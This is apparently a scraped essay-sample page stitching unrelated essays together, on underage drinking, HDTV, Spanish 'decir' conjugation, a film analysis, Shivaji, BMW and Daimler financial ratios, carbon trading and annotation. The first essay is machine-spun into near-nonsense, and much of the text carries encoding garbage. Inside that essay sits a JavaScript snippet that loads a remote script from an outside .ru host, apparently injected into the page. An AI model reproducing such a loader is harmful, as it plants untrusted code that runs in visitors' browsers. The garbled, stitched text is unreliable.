Underage Drinking Essay Research Paper Underage DrinkingMany free essay sample

Underage Drinking Essay, Research Paper Underage Drinking Many teens face grownup jobs at a really immature age. Underage imbibing viewed in the eyes of parents and jurisprudence enforcement bureaus is a major job among adolescent. In today society, childs are being pressured into making things at a really immature stripling age. Problem many parents are confronting in their ain life are besides presenting as jobs on their childs. The reply teens today must do is no longer merely what shoes to have on or what matches what, but the must decided on drugs. Amongst those is alcohol, which is a pick most teens make even before they are teens. I have really talked to some people that were imbibing at the age of 11 and 12. Everybody I have met has at one clip rummy intoxicant before graduation. Police officers sit twenty-four hours and dark coming up with ways to snuff out this job, but no affair how much attempt they put Forth it will and has continued. We will write a custom essay sample on Underage Drinking Essay Research Paper Underage DrinkingMany or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page People all have different positions on the solution to this job, but before we get to their ideas and mine, I would wish to inquire you a inquiry. Would you as a parent or individual instead have childs imbibing at a house with chaperons where they will be remaining all dark or drive place rummy because you do non O.K. of it, and implement a curfew? / gt ; As a teenage I feel I know the most on the topic, but as I have found out my parents had to do the same determination during their life, even every bit hard as it is to believe they did. Solutions are like alibis they come in 100s. Peoples today blame everything on something else. Well I hate to be the one to indicate out the obvious, but parents are the biggest influence on a kid # 8217 ; s life. If you as a parent sit down and speak rationally to a child, he will listen. My solution is simple extinguish the imbibing age all together. I feel it is the parent # 8217 ; s duty to educate their childs on drugs like intoxicant, non the authoritiess. I have a friend who was a foreign exchage pupil from Switzerland, where there is no imbibing age, she looked at imbibing as a normal thing, but she besides said they don # 8217 ; Ts have this job over at that place as childs know they can ever acquire it the Don # 8217 ; t imbibe as frequently. I found that a small spot interesting, but I besides see the point. Out of all the childs I know that drink they do it for the merriment of it, the bang of making something illegal, and they do in surplus because they can merely im bibe one or two darks a hebdomad. On the other side all of the childs I know whose parents allowed them to imbibe at place found imbibing in extra stupid and deadening. This proved her point even further. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

what is HDTV essays

what is HDTV essays What is HDTV? HDTV, the first completely new TV standard since the introduction of the medium in the 40's, allows a picture with much finer visual detail and better color than the NTSC standards used with today's analog TV sets. Pictures can have 3 to 5 times the sharpness of today's broadcasts and no noise or snow. A good analogy is that you can see picture improvement like CD's improved over vinyl records! And speaking of sound, HDTV broadcasts also include CD quality surround sound based on the Dolby Digital (AC3) standard. HDTV sets use a wide screen more like those in movie theaters (16:9 width to height ratio compared to 4:3 today). These new sets may also be compatible with PC's so you may look forward to combination TV/PC applications. Should you put off buying a TV now and wait for the first HDTV sets to hit the market? Good question! We believe the set you buy today will serve you well for many years and that the HDTV experience will take a long time to develop in terms of affordability and programming choices. Aside from our ardent desire to sell TV's this year we think there are a number of facts which support this position: The FCC has mandated that standard TV signals continue to be broadcast through the year 2006 to insure a smooth transition to HDTV. This deadline may be moved back if consumers and/or the Congress protest having to throw away or upgrade their existing sets but it will certainly not be moved forward. The set you buy today will have signals to show for at least nine years! Manufacturer's plan to introduce add-on boxes to allow conventional TV sets to receive and show digital broadcasts. Of course you won't see broadcasts in a wide screen format and you may not see all of the resolution that MAY be broadcast, but you will be able to watch your set beyond 2006 and you can add the converter box at any time before that. Broadcasters outside of the top 30 markets are not mandated to begin ANY di ...

Decir Conjugation With Sample Sentences

Decir Conjugation With Sample Sentences The conjugation of decir, an everyday verb thats usually the equivalent of to say or to tell, is highly irregular, not following a readily predictable pattern. The only verbs that are conjugated in the pattern of decir are those derived from it, which include bendecir, contradecir, desdecir, interdecir, maldecir, and predecir. Fast Facts: Decir Conjugation Like most common verbs, decir is highly irregular, breaking the usual pattern in nearly all tenses other than the imperfect indicative.When stressed, the de- of the first syllable changes to di-, and in many cases the c of the stem changes to g or j.A handful of common verbs based on decir follow its conjugation pattern. Irregular forms are shown below in boldface. Translations are given as a guide and in real life vary with context. Infinitive of Decir decir (to say) Gerund of Decir diciendeo (saying) Participle of Decir dicho (said) Present Indicative of Decir digo, tà º dices, usted/à ©l/ella dice, nosotros/as decimos, vosotros/as decà ­s, ustedes/ellos/ellas dicen (I say, you say, he says, etc.) Preterite of Decir yo dije, tà ºÃ‚  dijiste, usted/à ©l/ella dijo, nosotros/as dijimos, vosotros/as dijisteis, ustedes/ellos/ellas dijeron (I said, you said, she said, etc.) Imperfect Indicative of Decir yo decà ­a, tà º decà ­as, usted/à ©l/ella decà ­a, nosotros/as decà ­amos, vosotros/as decà ­ais, ustedes/ellos/ellas decà ­an (I used to say, you used to say, he used to say, etc.) Future Indicative of Decir yo dirà ©, tà º dirs, usted/à ©l/ella dir, nosotros/as diremos, vosotros/as dirà ©is, ustedes/ellos/ellas dirn (I will say, you will say, he will say, etc.) Conditional of Decir yo dirà ­a, tà º dirà ­as, usted/à ©l/ella dirà ­a, nosotros/as dirà ­amos, vosotros/as dirà ­ais, ustedes/ellos/ellas dirà ­an (I would say, you would say, she would say, etc.) Present Subjunctive of Decir que yo diga, que tà º digas, que usted/à ©l/ella diga, que nosotros/as digamos, que vosotros/as digis, que ustedes/ellos/ellas digan (that I say, that you say, that she say, etc.) Imperfect Subjunctive of Decir que yo dijera (dijese), que tà º dijeras (dijeses), que usted/à ©l/ella dijera (dijese), que nosotros/as dijà ©ramos (dijà ©semos), que vosotros/as dijerais (dijeseis), que ustedes/ellos/ellas dijeran (dijesen) (that I said, that you said, that he said, etc.) Imperative of Decir di tà º, no digas tà º, diga usted, digamos nosotros/as, decid vosotros/as, no digis vosotros/as, digan ustedes (say, dont say, say, lets say, etc.) Compound Tenses of Decir Key Takeaways Like most common verbs, decir is highly irregular, breaking the usual pattern in nearly all tenses other than the imperfect indicative. When stressed, the de- of the first syllable changes to di-, and in many cases the c of the stem changes to g or j. A handful of common verbs based on decir follow its conjugation pattern.The perfect tenses are made by using the appropriate form of haber and the past participle, dicho. The progressive tenses use estar with the gerund, diciendo. Sample Sentences Showing Conjugation of Decir and Related Verbs No queremos decir que tenemos toda la verdad. (We dont want to say we have all the truth. Infinitive.) Os lo he dicho muchas veces. (I have told you it many times. Present perfect.) No entiendo lo que me estn diciendo. (I dont understand what theyre telling me. Present progressive.) Todos estaban diciendo que mi carrera habà ­a terminado. (Everybody was saying that my career was over. Imperfect progressive.) No obstante, predigo que en el futuro cercano vamos a ver muchos cambios en la industria. (Nevertheless, I predict that in the near future we will see many changes in the industry. Present indicative.) Una premisa de la ciencia ficcià ³n es si no contradice las leyes fà ­sicas, entonces es posible. (One premise of science fiction is if it doesnt contradict the laws of physics, then it is possible. Present indicative.)  ¿Le dijiste que todo era mentira? (Did you tell him it was all a lie? Preterite.) Mi doctora me dijo que tengo diabetes. (My doctor told me I have diabetes. Preterite.) Unos meses antes de mi nacimiento, mi madre predijo que yo serà ­a muy rica. (A few months before my birth, my mother predicted I would be very rich. Preterite) Creà ­a que me contradecà ­a por su manera de vivir. (I used to believe she was contradicting me by her lifestyle. Imperfect.) Te dirn lo que quieras escuchar. (Theyll tell you what you want to hear. Future.) Si era en su casa, yo decirà ­a que soy alà ©rgica para un ingrediente de la comida y no puedo comerla. (If I were at his home, I would say that Im allergic to an ingredient in the food and that I cant eat it. Conditional.) En el mundo en el cual vivimos, es inevitable que alguien nos maldiga. (In the world we live in, it is inevitable that someone will criticize us. Present subjunctive.) Niega que dijera que Cataluà ±a debe ser reconocida como nacià ³n. (She denies saying that Catalonia should be recognized as a country. Imperfect subjunctive.) Dice que es tu turno.  (Say its your turn. Imperative.)

The Movie A Few good men Paper Term Example | Topics and Well Written Essays - 1750 words

The Movie A Few good men - Term Paper Example Two marines—Private First Class Louden Downey and Lance Corporal Harold Dawson are court-martialed under the accusation of murdering Private First Class William Santiago, A fellow marine assigned in their unit at Guantanamo Bay Naval Base in Cuba. Their defense lawyers are Lieutenant Junior Grade Daniel Kaffee, an inexperienced US Navy Lawyer who is notorious for arranging plea bargains rather than pursuing trials in courts regardless for the mere practicality of it; and Lieutenant Commander Joanne Galloway who believed that her clients are innocents and would known no bounds in pursuing her case and to prove her clients’ innocence (Reiner, 1992). In the course of their investigation, Galloway and Kaffee uncovered the real culture that is happening within the Guantanamo Bay Naval Base particularly the â€Å"code red†. It turned out, PFC Santiago was not able to keep up with the ‘culture’ that is being enforce by Col Jessep in his Base thus resulting to poor performance and poor relations with his other peers. He was struggling to keep up and wanted to be assigned somewhere else and went above his superior, disregarding the chain of command, for a bargain— a transfer for exposing the possibility that Dawson could have illegally fired on the Cuban side of the island. This have irked Jessep and prompted him to order Dawson and Downey to carry a code red against Santiago. In the end, Kaffee was able to pop out the truth from Jessep and proved the innocence of the two accused soldiers. However, they were still dishonorably discharged from the Marine Corps for causing Santiago’s death (Reiner, 1992 ). Effective leadership is the art of influencing others. Influence is the â€Å"ability to persuade, convince, motivate, inspire, and judiciously use power to affect others†¦Ã¢â‚¬  it is the ability to influence in both the good and bad circumstances (Klann, 2003). From what Klann had emphasized, it is

Different essays Essay Example | Topics and Well Written Essays - 3000 words

Different essays - Essay Example stently met; and providing subtle but regular enhancement in the quality of an item or service, so that there are lesser and lesser flaws on delivery. The particulars of how each of these terms is interpreted are specific to the industry or business in question. Risk management, on the other hand, is the process of identifying, assessing and peritonising the risks to efficient functioning within a system. The essence of risk management is improvement in the value of the end result by being flexible yet systematic; transparent and inclusive of all factors and circumstances; integral to the analytical process, but able to provide solutions specific enough to the given problem. Possible the most important factor is that it should be able to evolve continuously to meet changing needs. While both processes – Quality management and Risk management are essential for ensuring smooth operations, and thus have a number of overlaps in their core principles; they ad differ on one significant account. Quality Management focuses on the end result and the extent to which error may be avoided in the deliverables; while risk management focuses on the extent to which already occurred errors may be rectified and repeat ion be avoided. Cianfrani, C.A., West, J. E. (2009).  Cracking the Case of ISO 9001:2008 for Service: A Simple Guide to Implementing Quality Management to Service Organizations (2nd Ed.). Milwaukee: American Society for Quality. pp.  5-7 Continuous quality improvement (CQI) is embedded in patient safety-the ability to learn from mistakes and take actions to prevent the mistakes from re-occurring. Identify and explain how principles of CQI reduce the risk of harmful medical injuries. Tindill and Stewart (1993) have defined CQI as â€Å"A comprehensive management philosophy that focuses on continuous improvement by applying scientific methods to gain knowledge and control over variation in work processes†. Baker (1997) gives the steps to using CQI. The first step

A Message to Garcia. story Review Essay Example for Free

A Message to Garcia. story Review Essay Through hostile territory Rowan traveled by foot, within three weeks he delivered the letter to Garcia. In this story it was clear that he couldn’t express the things Rowan did to deliver this message, it was something incredible and not anything to boast about freely. The point the tried to make was that Rowan was given a task in which he asked no questions, he just did as he was told. The writer gave his opinion of what this meant to him. He said men don’t need to be book smart nor have a lot of knowledge on this subject but rather some courage, loyalty and trust. These things with some concentration are what it means to â€Å"carry a message†. I believe he’s saying it takes a man with no fear or hesitation to get the job done. At this point in the story General Garcia is now dead. The writer states this isn’t where it stops, there are many other Garcias.. Meaning story’s like this one. He says no man will succeed by being foolish or only working half hearted, he believes you will get out of the situation what you put in to it and if you don’t have heart for what your trying to accomplish.. your not going to be successful. Elbert Hubbard the writer of this story puts another example in to perspective for the audience to think about. He talks about six clerks, he puts one to the test. He has asks the clerk to look in the encyclopedia and make a short memorandum explaining life of Corregio. He goes on to explain, the clerk most likely will not know what he is talking about and the clerk will end up asking all sorts of questions trying to get more information on this subject. When the clerk runs out of questions he will resort to another clerk and task him to help complete this mission, but all in the end the clerk will come back to him stating there is no such man named Corregio. The point the trys to make is that by asking the clerk to do this for him rather than do it himself is stupid. He says â€Å"if men will not act for themselves, what will they do when the benefit of their effort is for all? † Hes basically saying that a lazy man who has no independence and takes no responsibility in a situation is a selfish person. In this story Elbert Hubbard makes the point that a man doesn’t need to know how to spell or puncuate, or he may not have a good memory or grammar. A man may be great at one thing and horrible at another. It doesn’t matter those small things, what matters is if a man has the courage, responsibility, loyalty, pride and determination. A unique mindset of someone who could be given any random task and any given time and ask no questions. Without hesitation, completing the task with a full heart and a focused mindset†¦ this is what it means to â€Å"carry a message to Garcia† I like this story a lot because it relates to a lot of real life situations now. This story states a strong and bold message about morals and having self pride in what you do on a daily basis.

What it Means to be an Athlete :: Sports Swimming Teamwork Essays

What it Means to be an Athlete A group of high school girls who have all joined a crew team for various reasons. Some are athletes, some want scholarships, some are the right body types, some have never been athletes, some have friends on the team, and some are being made to by their parents. The team is small and no cut and always in need of more rowers. As they row they come together as a team, they all gain in confidence and learn what it is to be an athlete both on and off the water. The protagonists are a novice four, that means five girls who have never competed in crew before racing a boat with four rowers and a coxswain (cox for short). The coxswain is normally small, in High School women's rowing they try to get as close to 110 pounds as possible, who yells out commands, steers the boat, and encourages her rowers. She is the only one facing forward and is generally sitting in the back of the boat. The four rowers in a four face backwards. The stroke is the rower closest to the cox and faces her. Behind th e stroke are 3 and 2 and bow is in the front or bow. Although the novice four is not the entire team, the boats practice in shifts so they don't spend much time with the rest of the team. The five girls are all there for different reasons. The cox, Hannah, is actually the only one who had been involved in sports before, but she is the smallest, loudest, and most of a leader. Stroke is Amanda, who is tall and has the "ideal" build for crewing and decided to start in hopes of getting a scholarship when she goes to college. Lauren, the three seats, is being forced to participate in a sport by her mother and heard that you wouldn't have to run for crew. Diana, two seats, is Amanda's best friend, and decided to tag along, and Jessie who thought she'd join for kicks is bow. Once they are set into boats, they have their first water practice as a team. Their coach, Molly, grew up having to fight for the right to participate in a sport other than cheerleading or dance, and feels that the girls have to live up to her legacy. They should be proud and see themselves exclusively as athletes, especially when they don their uniforms.

Shivaji

Chhatrapati Shivaji Chatrapati Shivaji Maharaj was the founder of the Maratha Empire in western India. He is considered to be one of the greatest warriors of his time and even today, stories of his exploits are narrated as a part of the folklore. King Shivaji used the guerrilla tactics to capture a part of, the then, dominant Mughal empire. Read this biography to get more information on the warrior and his life history: Early Life Shivaji was born on 19th February 1630, to Sahaji and his wife, Jijabai, in the Shivneri Fort, situated almost 60 km to the north of Pune.He was named as Shiva, after the local Goddess Shivai, to whom his mother Jijabai had prayed for a son. After being defeated by the combined forces of the Mughals and Adil Shah, Sahaji was offered a jagir near the present-day Bangalore. However, he was allowed to keep his holdings in Pune. So, Sahaji left his son Shivaji to manage the Pune holdings, under the care of his mother Jijabai. With a small council of ministers, Shivaji began managing his estate. His ministers included Shamrao Nilkanth as Peshwa, Balkrishna Pant as Muzumdar, Raghunath Ballal as Sabnis and Sonopant as Dabir.At the same time, Kanhoji Jedhe and Baji Pasalkar were appointed to look after Shivaji's training. In the year 1644, Shivaji undertook full administrative responsibilities of his estate. Thus was started his career as an independent young prince of a small kingdom. His mother, Jijabai, was instrumental in instilling in Shivaji's mind a love for independence and distaste for external political domination. Career The first aggression in the life of Shivaji came at the age of sixteen, when he seized the Torna fort of Bijapur kingdom. By 1647, he had gained control over Kondana and Rajgad forts, with complete power of the Pune region.With time, Chhatrapati Shivaji Maharaj secured the forts in the Western Ghats as well as those along the Konkan coast. Shivaji also fought against the army of Adilshah at Purandhar. In November 1 659, he fought the battle of Pratapgarh and defeated Afzal Khan. Immediately after this success, King Shivaji occupied the area stretching upto the Panhala fort. The battle of Kolhapur took place in December 1659. In the battle, Shivaji crushed the army of Bijapuri general, Rustemjaman. In 1660, Siddi Johar's huge and daunting army attacked him at Panhala fort.Shivaji managed to escape from the fort. However, he soon launched an attack on Siddi Johar. The result was the surrender of Panhala and a truce between Shivaji and Adilshah. After the death of Adilshah, Aurangzeb attacked Golconda and Bijapur. Shivaji used guerilla-style tactics and captured more and more of the Bijapuri and Mughal territories. However, by 1663, he had lost most of his conquests to the Mughal army. In the next few years, Shivaji again started seizing forts belonging to both Mughals as well as those of Bijapur. Aurangzeb sent Jai Singh, his Hindu general, to capture Shivaji.Shivaji surrendered to Jai Singh at Purander in 1665 and agreed becoming a Mughal vassal. In 1666, he managed to escape form his house arrest in Agra and lay low for the next few years. However, in January 1670, Shivaji launched an attack on Mughal garrisons in Maharashtra. Within a period of six months, he won back most of his lost empire. The period of 1670 to 1674 was spent by Shivaji Maharaj in expanding his empire at the cost of the Mughals. In 1670, Shivaji launched an assault, under his General – Tanaji Malusare, to capture Kondana fort on the outskirts of Pune.The battle was won but he lost Tanaji. In the honor of Tanaji, the Kondana fort was renamed as Sinhagad. Shivaji was formally crowned as Chatrapati (meaning the Chief, Head or King of Kshatriyas) in June 1674 at the Raigad fort. He was given the title of Kshatriya Kulavantas Simhasanadheeshwar Chhatrapati Shivaji Maharaj. The end of 1676 saw Shivaji commencing attacks in the southern parts of India. Death and Succession Shivaji breathed his last o n 3rd April 1680 in the Raigad fort, the capital for Maratha Empire. He was succeeded by his elder son, Sambhaji.

Financial Ratio Analysis: Daimler Group and Bmw Group Essay

Abstract In this report, we calculate and compare the financial performance between Daimler Group and BMW Group in two financial years 2010-2011. The objective is to analyse the financial performance of both groups and identify our company’s position, thus suggesting the potential areas for improvement for our company. I) Introduction In this report, we analyse and compare the financial performance between BMW Group and Daimler Group in 2010 and 2011 using financial ratios analysis. The BMW Group and Daimler Group are two of Germany’s largest industrial companies and are among the most successful car and motorcycle manufacturers in the world. By doing comparisons, we will be able to identify the financial position and the potential areas of improvement for our firm. All the figures were taken from the firms’ annual reports. II) Financial Ratio Analysis Financial ratios for BMW Group and Daimler Group are provided below. 1) Profitability The ROCE ratio measures how well the business has used the capital invested to generate profits while the ROE indicates the business’s ability to generate profits using shareholders’ funds. The GPM indicates how much a company earns taking into consideration the cost of sales. The NPM shows the amount of each sales dollar left over after all expenses have been paid. Both groups have achieved significant increase in revenues in 2011 leading to improvements in all profitability ratios comparing to 2010. Both firms have been more efficient in using its resources to generate returns, where both ROCE and ROE ratios have showed significant increases in 2011. It is also worth noticing that despite having higher GPM for both years, Daimler’s NPM figures were lower than that of BMW, indicating that Daimler has higher operating expenses than BMW. Overall, BMW has performed better than Daimler in terms of profitability. 2) Efficiency Efficiency ratios are typically used to analyse how well a company uses its assets and liabilities internally. The sales revenue to capital employed ratio indicates how well the organization used the capital invested in the business to generate revenue for the company as whole. Both companies have experienced an increase in the revenues over the past two years but both companies haven’t experienced an increase in the asset turnover ratio. It has increased with BMW probably as a result of the reduction in the non-current liabilities. The opposite has occurred with Daimler Group most likely as a result of the massive increase in the non-current liabilities. This ratio can be further explained using the sales revenue to non-current assets and sales revenue to working capital ratio. The sales revenue to non-current assets ratio measures how well the managers invested the non-current assets of the company to generate revenue for the growth of the business. This ratio has most definitely been affected by the investment in new non-current assets by both groups but Daimler has managed to use these assets to generate more revenue than BMW but still has used its new non-current assets efficiently to generate a sales revenue which would in turn lead to a ratio higher than the previous year’s ratio figure. The sales revenue to working capital explains how well the company is using its working capital to generate sales revenue. It is one of the best ways to watch the changes in cash overtime, this is important because the company needs cash to operate. Daimler has experienced a significant decrease in this ratio and BMW, the opposite occurred. This could be as result of fluctuations in the current assets and liabilities of both companies. The inventory turnover period ratio measures the length of time stock is held within the business. Both companies are now holding stock for longer than they did in 2010. It takes Daimler 77 days to sell its products while it takes BMW 65days. Both results are quite high but BMW has an advantage. This means that BMW has fewer inventories in store than Daimler at the end of the year, which means lower holding costs for BMW. The trade receivables period ratio calculates how long it takes the company to collect payments from its customers. A business will naturally be concerned with the amount of funds tied up in trade receivables and try to keep this at a minimum as it can have a significant impact on the cash flow of the business. This has not changed much for both companies over the past two years but has increased slightly for BMW in 2011. Daimler has more funds tied up in trade receivables. The trade payables period indicates how long it takes the company to pay its suppliers. Most companies would prefer this to be as long as possible but this can be taken to far and result in the loss of goodwill of suppliers. Both groups have managed to increase the period it takes them to pay their creditors. Both companies take a longer period to pay their suppliers than it takes for their debtors to pay what they owe. This shows a good cash flow movement for both companies. The operating cycle is expressed as an indicator of management efficiency. It has three components of inventory turnover period, trade receivables period and trade payables period. These come together to form the complete measurement of operating cycle days. This hasn’t changed for Daimler over the past two years and has increased slightly for BMW. It takes BMW a shorter period to generate revenue from its purchase of inventory than it takes Daimler. 3) Liquidity Liquidity ratios attempt to measure a company’s ability to pay off its short-term debt obligations. In general, the greater the coverage of liquid assets to short-term liabilities the better it is, because it gives a clear signal to whether a company can pay its debts that are due in the near future and still be able to fund its ongoing operations. The current ratio measures a company’s ability to pay back its short-term debts in short notice. The acid test ratio is similar to the current ratio except does not include inventory and prepaid expenses as assets but only those that can be turned into cash easily. Therefore, it measures the firm’s ability to pay its current obligations immediately. Comparing the two companies, those figures are quite similar. As for manufacturing companies like Daimler and BMW, current ratio of/more than 1 is desirable. Both companies did manage well to achieve the target figures in both years. Changes in the ratios between two years are not significant, but it is worth pointing out that Mercedes showed a small improvement in liquidity (from 1.07 to 1.22), whereas BMW got a minor decline (from 1.08 to 1.04). Although the acid test ratios falls below 1 in both years for both firms, thus both firms are unable to pay back its short term debts immediately, it does not necessarily mean that it will go bankrupt – as there are many ways to access financing – but it is definitely not a good sign. In general, Daimler’s current and quick ratios showed a slightly better liquidity position, comparing to BMW’s. In fact, liquidity ratios are remarkably affected by the company’s working capital management. That is why we should examine some working capital figures to fully analyze two companies’ liquidity circumstances. The Cash Conversion Cycle (CCC) is similar to the Operating Cycle. While the parts are the same – receivables, inventory and payables – in the CCC, they are analysed from the perspective of how well the company manages its cash, as opposed to their impact on operational capital assets. The CCC measures the number of days a company’s cash is tied up in the production and sales process of its operations and the benefit it gets from payment terms from its creditors. The shorter this cycle, the more liquid the company’s working capital position is. In general, both firms have taken longer to shift their stocks, receive payments and pay out their creditors in 2011 comparing to 2010. This trend could mean the demand for the firms’ products has been decreasing. Moreover, BMW performed better than Daimler with all of its figures being noticeably lower in both years. Therefore, the CCC of BMW is considerably lower than that of Daimler. Apparently, we can see that both companies had reasonable figures and good working capital management. Yet, overall, BMW seemed to have performed better than Daimler, as the processes were faster. 4) Solvency Gearing measures the proportion of a company’s finance which is provided from external sources. In theory, the higher level of gearing, the riskier the business, since interest and repayment of debts must be paid regardless of the situations. However, gearing can be a financially sound part of a business’s capital structure, especially if the business has strong, predictable cash flows. Both companies have had a consistent gearing ratio of about 65% (for BMW) and about 55% (for Damlier Group) over the course of 2 years (2010 and 2011) which states that the companies are highly geared. Debt Equity Ratio is the ratio of the debt that a company has to the its shareholders’ equity. A higher the percentage means that a company is using more leverage and has a weaker equity position. Optimally the debt equity ratio of a company should be 1. For most companies, the ratio is usually between 1.5-2. The debt equity ratio of BMW shows a slight fall this year and a slight increase in the case of Daimler Group. BMW’s gearing ratio and debt to equity ratio indicate that BMW is more leveraged than Daimler. Interest cover ratio is used to determine how easily a company can pay interest on outstanding debt. There has been a good amount of increase in this ratio in BMW as well as in Daimler Group as it can be seen above. It can be said that the profit of BMW was 8.5 times and 6.94 times (for Daimler) greater than the amount of interest that it incurred on its respective outstanding debts. A higher interest cover ratio indicates that the business is easily able to meet its interest obligations. Usually any interest coverage ratio higher than 1.6 is considered safe which leaves us to the conclusion that BMW and Daimler Group both are safe companies in matters of Interest payable on outstanding debt. III) Conclusion The 2011 financial year was an excellent one for the Daimler where sales volume, revenue and earnings figures all significantly improved. Daimler Group should control its operating costs and continue to invest in R&D to maintain and improve its profitability levels. It could also further improve its efficiency by better managing the Operating Cycle. In this paper, we have illustrated relationships between different aspects of the firms’ operations and provided relative measures of the firms’ conditions and performance. By comparing two similar firms in the same industry in two years, we have found that BMW has performed slightly better than our firm (Daimler) despite being more leveraged. However, the financial ratios are pure mathematics and do not take into account other aspects of the business, therefore, users should approach them with caution.

Columbia University SIPA Master in Public Administration Essays

Columbia University SIPA Master in Public Administration Essays Columbia University SIPA Master in Public Administration Essay Columbia University SIPA Master in Public Administration Essay Carbon emission trading was initially introduced by the Kyoto Protocol and was adopted in 1997, then later took effect in 2005 when Russia and Canada ratified the Kyoto Protocol to the UNFCCC. The cap and trade approach was adopted to help reduce carbon emission and mitigate future climate changes by internalizing the externality of economies, which is one of the major market failures. The trading was designed to provide economic incentives to countries to help in realizing the reduction in the volume of emotions of the pollutants. The market mechanism was expected to function to bring capital and interest from the private sector in the developing countries where the energy efficiency is relatively lower and as a result, reduce GHG gas in the most efficient way. Despite being an idealistic concept, the carbon-trading framework is facing challenges such as Push by multilateral donors, lack of institutional capacity, and poor governance. With its elaborate structure, the carbon-trading model can be used to eradicate poverty if we can say that the poverty is an outgrowth of global capitalism. I would like to explore the feasibility of applying the carbon market mechanism in the alleviation of the poverty.

ANNOTATION [Marking the Text] GUIDELINES Essays - Reference, Writing

ANNOTATION [Marking the Text] GUIDELINES Annotation consists of brief notes, symbols or markings that highlight key points of a piece of writing. It is a study tool to review large qualities of information with minimal effort. The goal is to be able to glance at a page of text and pick out the main points without having to re-read the whole page. Annotation should be consistent so that it always makes sense and allows you to work quickly. Any annotations you make on a page of text should be neat and easy to read. Here are some common ways of annotating. Text Summary & Notes This strategy requires short summaries or notes in the margin for every paragraph of text. This requires a lot of thinking and writing; however, the notes you create make it easier to find the main idea and summarize the text. Highlighting This strategy works well for students who are very visual and respond to colors. It works best when it incorporates a multiple color coded system. For instance, you might use one color for main ideas and another for supporting details. The disadvantage of this system is that you can't erase the highlighting. This is risky if you're just starting out. Symbols & Markings This strategy is preferred by most note takers. It is quick to make notes and quick to review. It is very easy to glance at page, find important information and evaluate what needs a closer look. Like highlighting, a system should be adopted and stuck with so that it always makes sense. Below are some suggestions for symbols and markings: Circle unfamiliar vocabulary *Stars for important or key ideas, main points _______ Underlining/Highlighting for important quotes or points to use later >Arrows connecting ideas and topics-maybe a sentence in one paragraph that reinforces a sentence in a different paragraph or clearly supports the main idea. = Equal signs indicate definitions Boxes for key terms Ex., R., Stat. Abbreviations show types of support: examples, reasons, statistics 1, 2, 3 Numbers itemize examples, reasons, steps (Ex. #1 or Reason #1) ! ! Exclamation points show surprise Question marks indicate an unclear idea or section-something you want to ask about Really? Margin notes record comments or questions

Supply Chain Management (Vimto) Case Study Example | Topics and Well Written Essays - 750 words

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